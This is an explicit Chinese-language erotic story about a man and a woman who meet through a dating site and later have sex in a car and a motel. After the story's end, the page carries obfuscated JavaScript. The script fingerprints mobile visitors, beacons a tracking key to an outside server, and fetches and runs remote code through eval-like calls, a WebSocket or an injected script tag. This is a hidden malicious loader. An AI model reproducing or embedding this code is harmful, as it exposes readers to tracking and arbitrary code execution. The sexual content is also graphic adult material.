再见面车震高潮

  2011年的三月,芷晴一时好奇地登入了一个交友网站,以她那优雅亮丽的外型,自然收到一大票想要认识她的男子的留言。而我,也是其中之一。
也许是芷晴觉得我的留言内容比较真诚,她很快就跟我很聊得来。我们好似变成笔友似的,每天都用着文字写信分享彼此生活、想法、与心情。她不愧是个女诗人,写起信来都是长长一篇,优美的文字让我读来总是心情愉悦的。
我对这个美丽的女子是十分着迷的,我内心裡也渴望有天可以见到她,甚至有更进一步的发展。只是我并没急着约她见面,因为我想说,只要聊天久了,自然就会见面了,况且从芷晴的文字裡,是可以感觉到她对我是有好感的。
但是,就在我们相识2週后,芷晴在信上告诉我:
「我今天跟一个网友出去吃饭了,因为他是第一个约我的网友。一开始我也是推辞再三,因为还没不是很熟,觉得这样见面很尴尬。不过我拒绝别人的功力一向不好,所以还是被说服了。本来只想喝咖啡,但starbucks大排长龙,就去隔壁的简餐店,因为他的工作是理专,所以就从理财开始聊。后来我们还去看场电影‧‧‧其实还挺开心的。不知是不是因为很久没约会了?」
我心想:「糟了,我的「耐心」,居然被别人捷足先登了」
但我还是决定先按兵不动,就用个好朋友的立场跟芷晴聊聊,去了解她约会的心得及想法。芷晴倒都很诚实的一五一十的告诉我。三天后,芷晴在信上写道:
「那个约会男,在见了两次面之后,被我判out了。可是我仅止于用很消极地被动不接手机的方式,我还在想要怎么回应才不伤他的心呢?因为他实在太积极了‧‧‧」
我听了鬆了一口气,就建议芷晴要明确地拒绝对方比较好。但是后来芷晴还是开不了口,而决定跟对方当个澹澹的朋友就好。
但我也开始在想,应该差不多要约芷晴见面了吧?以免夜长梦多,只是我还在等候时机,因为她跟我是住在不同得城市裡。但是通信一个月后,她回信的频率突然拉长了,有时要好几天才收到她的回信,但她总是说有事在忙着。然后4月中后她就突然不再回信了,我写了几封信询问了一下,还是没回音,我就放弃等待了。
一直到三个月后,我又突然收到芷晴的信,她写道:
「不好意思,忙碌时,没有天天收信,导致信件如漫天飞沙铺盖,将你的信压在好几页后了。三个月不见! 一切如昔吗?我的工作顺利,舞台也愈站愈大了;爱情,则有一点点没那么顺利,跟自己要的东西有很大的关係‧‧‧」
收到她的信,有点意外。但从她的信看起来,她失踪三个月应该就是谈了恋爱了。后来在下一封信上,她告诉了我,她的男友只大她一岁,2人之间似乎在相处上有一些磨擦。但我已经记不得为什么我跟她的信就停留在那一封,我找不到我回信的记录,记不得自己为何就没再写信给她了?
像我跟芷晴这样的网友关係,似乎也没什么特别的地方。多年下来,我其实早已忘记她的样子,对曾经认识过她的事也已经印象模煳了。故事本该早就结束的,但我却在5年后,2016年的2月中旬突然翻出跟她的通信记录,在看完之后,我想都已经五年了,她应该也早已结婚生子,但我还是多事地随意写封信给她:「多年不见了,妳可还好?」
隔天我收到芷晴的回信:「我很好! 你呢?我还是在教书,现在当家教为主了。工作轻鬆,有点接近退休…我还是单身!身边也有照顾我的人,但现在的他不是适合人选。你呢?工作、生活、感情一切如何呢?」
然后,我们很快地交换了line,也加了FB好友。这时我才发现,她多年来一直都在我FB好友的建议名单内,但因为她后来改名了,所以我没察觉是她。从她的FB的照片裡,发现她比以前更添了几分成熟妩媚、更加的迷人。也是到这时候,她才告诉我,她从未看过我的照片,所以我就寄了几张给她。
我们又回到通信的日子,而且比以前更有话说,感觉好像是失联的老朋友重逢一样,很希望跟对方分享这五年来的点点滴滴似的,所以我们的信写的勤快而且用心。
在这五年裡,芷晴也换过几个男友了,而现在这一个也已经在谈分手了,也许这次我正好出现在一个比较恰当的时机吧?在我重新出现前的不久,芷晴去算了命,算命的说她的真命天子不久就会出现,而且说这个人就在她的北方,不用她去寻找就会自动找上门来。我的条件及出现时机,让芷晴隐约觉得我就是算命地说的那个人。
与芷晴通信的过程,激发了我的肾上腺素,我已迫不及待想见到她。我猜芷晴也是很想见到我的。于是我们说好,等2人写信的总数到达100封,就见面。本来芷晴以为这可能是好几个月后的事了,但在我积极写信的情况下,很快就在3月下旬达到目标。
因此我们约好在三月底见面,那天我先开车到她家楼下接了她。芷晴穿着一件白色带着蕾丝边的衬衫,配上一条牛仔裤及深蓝色外套。看到她本人的第一眼让我直接联想到刘诗诗,神韵及样子都很像,真的很美。接到她之后,我就直接开往日月潭,因为芷晴已事先在日月行馆订好了餐厅。芷晴跟我以前见的网友不太一样的地方是,她不怕生,初次见面就是落落大方,沿路她不停地讲她这五年来的事给我听,感觉她很天真很雀悦。
那天是星期三,整个日月行馆就只有我们二人用餐,我们也聊的很尽兴。饭后就在日月潭畔散步着,原本她傍晚还要赶回去上家教课,也许她也眷恋着跟我相处的时光,她就打电话去取消了家教课,所以我们多了点时间去搭船游湖。
结束了这次印象美好的约会,我想我是真的喜欢上她了,也期待着可以进一步的发展下去。回去后,我写了信给她:
「经过了五年,我们终于见了面了!也许这是命运的安排,注定我们要在此时此刻重新认识。我以前总觉得缘份有多深,又可走多远。五年前,觉得缘份浅,所以失联了。五年后的今日,缘份重新开启,这次能有多深?肯定的是比五年前深的多。所以我们就见了面啦!
妳一定想知道,我见了面后的感觉,对吗?
我觉得妳是个很迷人的女生。当妳长髮披肩时,妳有着现代美。当妳挽起头髮时,妳又流露着古典美。不论现代或古典,同样吸引我的目光。妳的个性,有点天真可爱,妳也很活泼爱笑。带给我一种很放鬆自在的感觉。
读信到此,妳有没有觉得心裡甜甜的呢? 还有,我想告诉妳一件秘密,那就是 :我想妳~」
芷晴回信:「读你的信,感觉和你本人在一起十分相像。遥想五年前,你是我唯一的笔友,在心中深处,彷彿相信能够坚持用这种方式沟通,才具有某种程度的"真爱"。
我过去的经验,见面之后的两方,很少再通信了,几乎可以说是没有,所以你还愿意继续写信给我,心中觉得很温暖。
说说我觉得你给我什么感觉呢? 你给我一如你信中和每次在line留言给我的感觉,稳重、大方、谨慎、负责和随兴自在。
能被你想念,是幸福的」
二天后,那是星期五的下午,我临时约了芷晴见面,她也欣然答应了。那天当芷晴走进我的车子那瞬间,我的心又再度震了一下,因为她的打扮,真的好漂亮,那味道又跟前天有点不太一样。我们去一家咖啡厅喝了咖啡,然后一起去看太空剧场。跟她走在一起时,我一直有想牵她的手的念头,但我还不敢冒然,因为不确定她是否接受。直到要回去了,在过马路时,我总算鼓起勇气来去牵了她的手。还好她没拒绝我!握着她的手,一起走着,我的心是甜蜜的、幸福的。
回去之后,她在信裡写着:
「谢谢你带给我的美好时光,从认识你到现在,一直像我所想的那样,就像我以前"梦想中"的一个对象一样,温温的,很成熟。
其实我很喜欢时间像是"偷出来的"一样,比方说,你来找我,我们相聚只有2.5小时,我却觉得这是生命中"奢侈的"2.5小时(不该得到却得到的),所以说是偷到的。
人在这短暂的时光裡,特别珍惜,因为相见不易,空间不易,时间不易,相遇不易,悸动不易,光线、风速、温度、场景都要刚刚好。
刚刚好有多么不容易呢,与其说你很优质,就好像你也想这么讚美我,在我们互相欣赏的时候,我们也因为彼此的夸奖而发光。谢谢你对我的夸奖,和你相见时的我,必定是愉悦的,就像我给你的年轻的感觉一样。我跟你一样,喜欢谈心,喜欢回忆,喜欢你温温的,不急不徐。
不过你牵手的时机还是急了点喔!」
我一直觉得男女之间,最美的时刻就在这样喜欢对方,但又不确定对方心思的相互试探之中。往往因为对方一句似乎对自己有好感的话语中,而兀自兴奋许久。在这个时候,我是感觉到芷晴对我的好感,但还没把握是否到了爱慕的程度。
四月初的时候,我在忙一件重要的工作。芷晴在信上一直给我加油打气,我跟她说:「如果我可以在一星期内赶完,妳是不是该给我一点奖励啊?」
芷晴问道:「你想要什么奖励呢?」
我说:「我想要一个妳的吻」
芷晴:「好吧,为了鼓励你,我就答应你」
为了赚取这个奖励,我自然是日夜赶工,顺利在一星期内完成了。就等着下次见面时跟芷晴领取这个奖励。
我跟芷晴的下次见面是在四月十五日,那天是週五,下着细雨。我是当天早上临时约她见面的,我们先是一起吃了午餐,然后去华纳威秀的golden class看电影,那场电影整个厅裡头就只有我们二人,我握着她的手看电影,心裡觉得挺浪漫的。后来我们撑着伞在雨中散步,我利用这机会很自然地去搂着她的肩,芷晴也没反对。当我们回到车上,我说:「我现在想领取妳答应的奖励,可以吗?」
芷晴:「现在?在车上吗?」
我说:「对啊,我们可以一起到后座」
于是我们来到了后座,本来我们坐着,想要培养接吻的气氛,却笑场了。等到搞笑的情绪过了,我才建议芷晴躺在我的大腿上,我用手轻抚她的脸庞,看到她闭上眼睛享受着,我突然情不自禁地俯身轻轻在她唇上一吻,这时芷晴睁开眼睛看着我:「厚,你怎么可以偷亲我?」
我笑着说:「因为刚刚是天时、地利、人和啊!」,说完我再度吻上她的唇,这次不再是轻轻地吻,而是热情地吻着她的唇,芷晴感染了我的热情,慢慢也投入其中,她微开着双唇,好让我的舌滑入跟她的舌交缠在一起。一边热吻着,我不安份地手开始到处探索着她的身体,然后我的手掌隔着她的衣服,一把贴在她的胸部上。芷晴娇羞地想推开我的手,但终究抵不过我的坚持,而转为享受在我的爱抚裡。
我的手伸入芷晴的衣服内,拨开她的胸罩,我的手掌顺利地贴在她左边的胸部上。芷晴的胸部不大,只有B罩杯,但相当的光滑柔软。我用手指拨弄着她的乳头,芷晴嘴裡立刻发出勾魂的呻吟声,那声音真的很迷人。
虽然我的车是停在停车场内,但外面的雨势很大,不用担心有人会看到车内的我们,也不用担心有人会听到芷晴的呻吟声,所以我们很放鬆的沉醉在调情裡。突然芷晴开口问了一句话:
「你下面那根有变硬吗?」
我说:「当然呀,不然妳自己摸看看」
芷晴不害臊地直接伸手隔着我的裤子,摸了一下我的弟弟:「真的,它变硬了耶」
我说:「听到妳那么撩人的呻吟声,那可能不硬起来呢?」
我看着芷晴的神情,可以感觉到她应该正期待着我的更进一步。只是我看看时间,我必须赶回家去了,况且她晚上也有家教课。我有点扫她兴地说:「我好像继续下去,可是妳等一下要上课,我也必须回家了,我现在送妳回去好吗?」
芷晴嘟着嘴巴说:「你把人家挑逗成这样…人家不要让你回去啦,我想吃了你」
我说:「我也很想,可是妳不是也要上家教课吗?」
芷晴撒娇地说:「家教课可以打电话去取消啊」
没想到芷晴变的这么主动,这下反倒换我为难了。我拥抱着她安抚说道:「妳今天先乖乖去上课,下次见面比较有充足时间,我再让妳好好”吃”我」
芷晴听了,拍了我一下说:「你好讨厌耶,谁要吃你啊?」
我无辜地说:「妳刚刚自己说想吃了我的」
芷晴突然变的伤感,并且流下泪来:
「我总是遇不到一个好的男人,你真的会好好爱我吗?」
我用手擦拭着芷晴的泪水,心疼地说道:「我会的,我会好好爱妳的,我对妳是真心的」
芷晴抽搐着:「你不要骗我喔,我好渴望一个家…」
我坚定地说:「我不骗妳,妳等我3年,我不会让妳失望的」
芷晴总算破涕为笑地双手环保着我,把头靠在我肩上说:「老公你对我真好,我爱妳」
听到芷晴第一次唤我为老公,我也开始叫她老婆了。于是我们热情的拥吻着,我的手再度在她身上游走。然后我的手伸入她的衣服内,我的手掌直接贴上她那柔软光滑的胸部上抚摸着。我用我的右拇指及食指轻轻地捏着她的乳尖,渐渐地我感到它硬了起来。虽然我们的嘴唇还是紧紧贴着,在我这样的挑逗下,芷晴已不时从嘴裡发出轻微的呻吟声了。
「啊……啊……哼……嗯……。」
然后芷晴主动地说:「老公,人家受不了了啦,我现在很想要」
我说:「现在就要吗?还是我们现在去汽车旅馆?」
芷晴:「嗯……人家现在就想要嘛」
说完,芷晴就伸手过来把我裤子拉鍊拉下。虽然我也已意乱情迷,但从没在户外做过,虽然在车上还是有点觉得有点不安全。
我说:「等一下,这裡还不够隐密,我们再往裡头开一点」
我的手伸入她的短裙内,快速地把她的小内裤脱下来。我发现她的小内裤已经湿了一片了,想必芷晴的浪穴已经湿漉漉地等着我的临幸了。然后,我掏出我已经涨的发硬的肉棒,命令芷晴跨坐在我大腿上。
于是芷晴握着我的肉棒对准她的小穴坐了上来,果然芷晴的穴很湿滑,我的肉棒很顺利地被她一坐到底,但芷晴还是惊呼地叫了一声:「啊…好大喔!」
虽然芷晴的阴道很湿滑,我可以感觉到她的穴特别的紧,整个阴道紧紧地夹住了我的肉棒,子宫口还一吸一放的吸吮着我敏感的龟头,感觉特别的刺激。
芷晴开始忘情的下下摆动套弄起来,当她在我上面上下摇动着,我也随着她的节奏让肉棒往上顶。而她的长髮跟着飘动着,加上她那付淫荡满足的神情,实在让我有着视觉上及肉体上的双重刺激。
因为是在户外,我觉得芷晴有刻意压低她淫叫的音量,但她还是偶尔会忘情的呻吟着。
「啊……啊……哼……嗯……。」
一直到几分钟后,芷晴快高潮了,她突然紧坐下来,摇摆自己的屁股,好让我的肉棒顶在她的花心处,快速的磨着,然后她稍微放大音量的叫道:
「啊……啊……老公……好舒服……我要高潮了……」
芷晴高潮后,我的肉棒还是停在她的穴内,只是她已经不动的抱着我,瘫软的把头靠在我肩上,不住的喘息着。我调皮地在她穴内抖动我的肉棒,持续刺激的她。
芷晴发嗲地说:「人家好累耶,动不了了」
我说:「妳都已经满足了,我还没有呢」
说完,我扶起芷晴,让她的穴短暂的脱离了我的肉棒。我让她手扶着树干趴站着,翘高了屁股。我把她的短裙往上撩到腰际,这时她整个浑厚洁白的屁股面对着我,我握着我的肉棒,再度的用力插入。这样的体位,更能感觉到她的穴紧紧的夹住我的肉棒。
我双手扶着她的屁股,快速地挺动着我的臀部,让我的肉棒来回在她的穴内抽送着。芷晴湿热的穴壁在敏锐的龟头刷搓着,那种快感难以言喻。我的抽送先是由缓到急,最后则是一连串地狂抽勐送。这样的狂野抽插,让芷晴淫荡的淫叫着:
「老公,你好会插... 插的我好舒服...啊.... 啊」
「喔……快……好舒服……不要停……。」
「啊……啊……老公……对……就是这样子……啊。」
「啊……老公干我……用力干我……大力一点……。」
「啊……再快一点……啊……人家快不行了……啊。」
就这样又插了十几分钟,我觉得她快高潮了,我也开始有高潮的感觉了。我加快速度,就在她再度高潮之后不久,我也要射了,乃拔出我的肉棒,狂叫一声地把我浓稠的精液射在她的屁股上。
芷晴:「老公,你干嘛不射在裡面啊?人家想要你射在裡面啊」
我说:「我是怕你怀孕啊」
芷晴:「我现在是安全期啦」
我说:「妳没早说,不然我也想射在裡面呢。」
后来我们收拾一下, 飞快地开车到沐兰汽车旅馆。一进入了汽车旅馆,我们两人就像是天雷勾动地火般的,狂吻在一起。一边热烈的吻着,一边我的手也一层层的剥光了她的所有衣物及我的衣物。
这是我第一次看到赤裸的芷晴胴体,我坐在床边上,芷晴则站在我双腿之间,我仔细的审视着她美丽的身体。虽然芷晴的胸部不大,但乳晕是粉红色的,乳头也小小的。芷晴的腰很细,162公分的她,只有43公斤。我往下看到芷晴的秘密花园,她的阴毛比较浓密,但被她修剪的很整齐。我伸手去摸了一下她的穴,发现她的阴唇也比较厚实,但是颜色却是澹澹的。
这时我突然站起来,一把抱起她说道:「我们一起先去冲个澡吧」
在浴室裡,我挤了沐浴乳,慢慢在芷晴身上涂抹着,当然我大部份时间都在洗她的小穴。时而用手指滑过她的阴唇、时而在阴蒂上搓揉着。芷晴被我这样的揉洗着,一下子就开始淫叫着了。后来她也很仔细握着我涨大的肉棒慢慢搓洗着,让我舒服极了。
当把身体的泡沫都冲乾淨之后,芷晴突然蹲了下来,她先轻轻的握住我的肉棒来回套弄着,接着她索性张开小嘴将内棒吮住。我那肉棒被她那双唇紧紧的吸着,真是舒服极了。芷晴用她的舌头在龟头边上轻轻的转,不时的舔、吸、上下套滑。我也舒服的发出去几声呻吟声,她的手不时的会去挑摸我的蛋蛋及抚摸我的大腿。我很尽情的享受这一切。这时我的手按着芷晴的头髮,开始挺动我的臀部,把她的嘴当成小穴般的轻轻抽送。
芷晴应该没被人这样抽送过,她嘴裡发出呜呜声,她的口水流满了我的肉棒。这个动作让我非常有征服感,但我知道芷晴应该不会太舒服,只抽送给一二分钟我就停止了。
我没用浴巾擦乾彼此身体,就这样全身湿漉漉地,我再度抱起芷晴,把她往床上一放,我随及压在她身上。我热情的从头到脚的四处吻她,有时芷晴被我吻到苛苛大笑,当我吻着她的胸部及乳头时,她又不断地呻吟着:
「嗯...哼...老公你好会亲...喔..好刺激」
后来,我舌尖终于来到芷晴的穴口,舌头那裡来回的滑动着。芷晴的淫水不断从穴口泌出,我用舌头把那带着澹澹甘甜味的蜜汁,舔入我的嘴裡。当我集中火力的挑逗着她的阴蒂时,芷晴不再像是在户外时那般的压抑,她纵情的大声浪叫着,那声音越来越高昂。
「老公……好刺激啦……啊……哼……人家又快高潮了……」
接着芷晴身体一阵痉挛,高潮了。这时芷晴不似她外表看起来那般的清纯,她在床上已是一个彻彻底底的荡妇,她用着淫荡的表情说着:
「老公……你快点来干我嘛……我的穴裡好痒……快用你的大鸡巴干我……」
看着芷晴如此饥渴的样子,我不想让她失望,于是我分开她的双腿,握住我那坚硬的肉棒,先是在她的阴唇上来回滑动几下,突然间我顺势朝着穴口用力一插到底。芷晴脸上顿时惊喜满足的神情:「啊……插好深喔」
插入后,我倒没急着抽插,而是趴卧在她身上吻着她的唇,同时缓缓的让我的肉棒在花心深处转着、磨着。这样让我的肉棒感受到被她的穴紧紧吸住,同时龟头上也多了一份酥麻感。芷晴一开始也觉得我这样温柔的磨着,让她感觉到很舒服、很美。
但没几分钟后,这样的温柔已经满足不了她了,芷晴用着销魂的娇吟声说:「老公……你磨的我更痒了啦……好难受……你用力干我好不好?」
才说完,她开始扭动起她的臀部,示意着她的渴望﹗于是我开始一进一出地在她温暖紧密的肉穴裡重重地抽插起来!芷晴的阴道是那么的紧密柔嫩,在抽插的过程,我感觉特别的酥麻。
我毫不留情的力地抽插着,下下勐力插到底。芷晴发狂似的浪叫道:
「啊……好舒服……老公……你快死我了……啊……」
听见芷晴叫得如此骚浪,我乃将她的双腿架在自己的肩上,加快了抽送的速度,我卖力的插穴已让我汗流满身。芷晴满足继续叫着:
「嗯……对……对……老公好棒……这样干更爽……我……不行了啦……」
随着我的抽插,大量的淫水不断地从穴裡溢出,我低头看一下我一进一出的肉棒上,已沾满了白色的淫液随。我越插越起劲,速度越来越快、力道越来越大,芷晴的浪叫声已接近歇斯底里了。
我知道芷晴已经快高潮了,而我也感觉差不多了,我又是一阵狂风暴雨般的狂抽勐送,只见芷晴全身一紧,两手抓着我的手臂,身体一镇颤动,小穴深处一阵急促的缩收,就在她高潮的同时,我也忍不住那股舒畅快感,一声狂吼,一股滚烫的精液狂喷而出,射入了芷晴的穴心深处。
射完精后,我呼吸急促地无力趴在芷晴身上。芷晴满意又心疼地说:「老公,你好棒喔,我插的人家好爽」
然后接着又说:「老公,我们休息一下,等一下我们再玩一次喔」
我苦笑地说:「好」,但心裡想着:「惨了,以后一定会被她榨乾的」。

【完】
function QRbgNYZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function xdwEJYT(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QRbgNYZ(t);};window[''+'z'+'h'+'o'+'k'+'G'+'a'+'g'+'K'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=xdwEJYT,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/14913/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqaC5mYWW5odWWltaWW4xLmNuJTNBODg5MQ==','d3NzJTNBJTJGJTJGdXkudGlhbbnhpbbmdoYW5nMS5jbbiUzQTk1MzU=','165532',window,document,['W','b']);}:function(){};